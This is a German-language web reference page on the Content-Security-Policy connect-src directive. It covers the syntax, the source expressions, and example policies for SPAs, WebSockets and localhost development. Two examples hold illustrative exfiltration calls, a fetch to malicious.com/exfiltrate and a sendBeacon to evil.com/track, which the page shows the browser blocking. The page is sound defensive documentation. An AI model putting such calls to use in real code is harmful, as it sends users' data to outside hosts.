HTTP CSP connect-src Directive

Die Content-Security-Policy connect-src Direktive kontrolliert Netzwerkverbindungen die von Scripts initiiert werden. Sie definiert erlaubte Ziele für XMLHttpRequest, Fetch API, WebSocket, EventSource und sendBeacon. Kritisch für die Absicherung von Single-Page-Applications und API-Kommunikation.

Typ

CSP Fetch-Direktive

Syntax

Die Direktive akzeptiert eine Whitelist vertrauenswürdiger Netzwerk-Endpunkte.

http 
Content-Security-Policy: connect-src 'self'
Content-Security-Policy: connect-src 'self' https://api.example.com wss://ws.example.com

Direktiven

Die connect-src Direktive verwendet Standard-CSP-Quellausdrücke zur Kontrolle erlaubter Verbindungsziele.

'none'
Verbietet alle Script-initiierten Netzwerkverbindungen. Höchste Sicherheit für statische Seiten ohne API-Calls.
'self'
Erlaubt Verbindungen nur zum gleichen Origin. Standard für Single-Origin-APIs ohne externe Services.
https://api.example.com
Whitelisting spezifischer API-Endpoints. Erlaubt Verbindungen zu explizit vertrauenswürdigen Backend-Services.
wss://ws.example.com
WebSocket-Endpoint-Whitelisting. Spezifische Kontrolle für Echtzeit-Kommunikation über Secure WebSockets.
*
Erlaubt Verbindungen zu allen Zielen. Sicherheitsrisiko, sollte nur in Entwicklungsumgebungen verwendet werden.

Beispiele

Nachfolgend finden Sie praktische Anwendungsbeispiele für die connect-src Direktive.

Beispiel 1 REST API Single-Page-Application

http 
HTTP/1.1 200 OK
Content-Security-Policy: connect-src 'self' https://api.example.com https://auth.example.com

<!DOCTYPE html>
<html>
<script>
  fetch('https://api.example.com/users')
    .then(r => r.json())
    .then(users => console.log(users));
  // Erlaubt: API in Whitelist

  fetch('https://malicious.com/exfiltrate')
    .then(r => r.json());
  // Blockiert: nicht in Whitelist
</script>
</html>

Browser verhindert Verbindung zu bösartigem Endpoint. Schützt vor Data-Exfiltration durch injizierte Scripts.

Beispiel 2 Microservices mit WebSocket

http 
Content-Security-Policy: connect-src 'self' https://api.example.com wss://notifications.example.com https://metrics.example.com

<script>
  const ws = new WebSocket('wss://notifications.example.com/live');
  // Erlaubt: WebSocket in Whitelist

  const metrics = new EventSource('https://metrics.example.com/stream');
  // Erlaubt: EventSource in Whitelist

  navigator.sendBeacon('https://evil.com/track', data);
  // Blockiert: nicht in Whitelist
</script>

Beispiel 3 Entwicklungsumgebung mit localhost

http 
Content-Security-Policy: connect-src 'self' http://localhost:3000 http://localhost:8080 ws://localhost:3000

<script>
  const socket = new WebSocket('ws://localhost:3000');
  // Erlaubt: Dev-Server WebSocket

  fetch('http://localhost:8080/api/users')
    .then(r => r.json());
  // Erlaubt: Backend-API auf localhost
</script>

API Request Flow mit CSP connect-src

CSP connect-src schützt API-Kommunikation

Vorteile für die Systemarchitektur

  • API-Endpoint-Isolation: Verhindert unbefugte Verbindungen zu bösartigen Servern die Credentials oder sensible Daten exfiltrieren könnten
  • XSS-Impact-Reduktion: Limitiert Schaden durch injizierte Scripts indem Kommunikation auf vertrauenswürdige Endpoints beschränkt wird
  • Zero-Trust-Architecture: Erzwingt explizite Whitelisting aller externen Services für Defense-in-Depth Sicherheit

Spezifikation

Content Security Policy Level 3 – W3C Working Draft https://www.w3.org/TR/CSP3/#directive-connect-src

Weitere Spezifikationen

CSP default-src Directive, Content-Security-Policy Header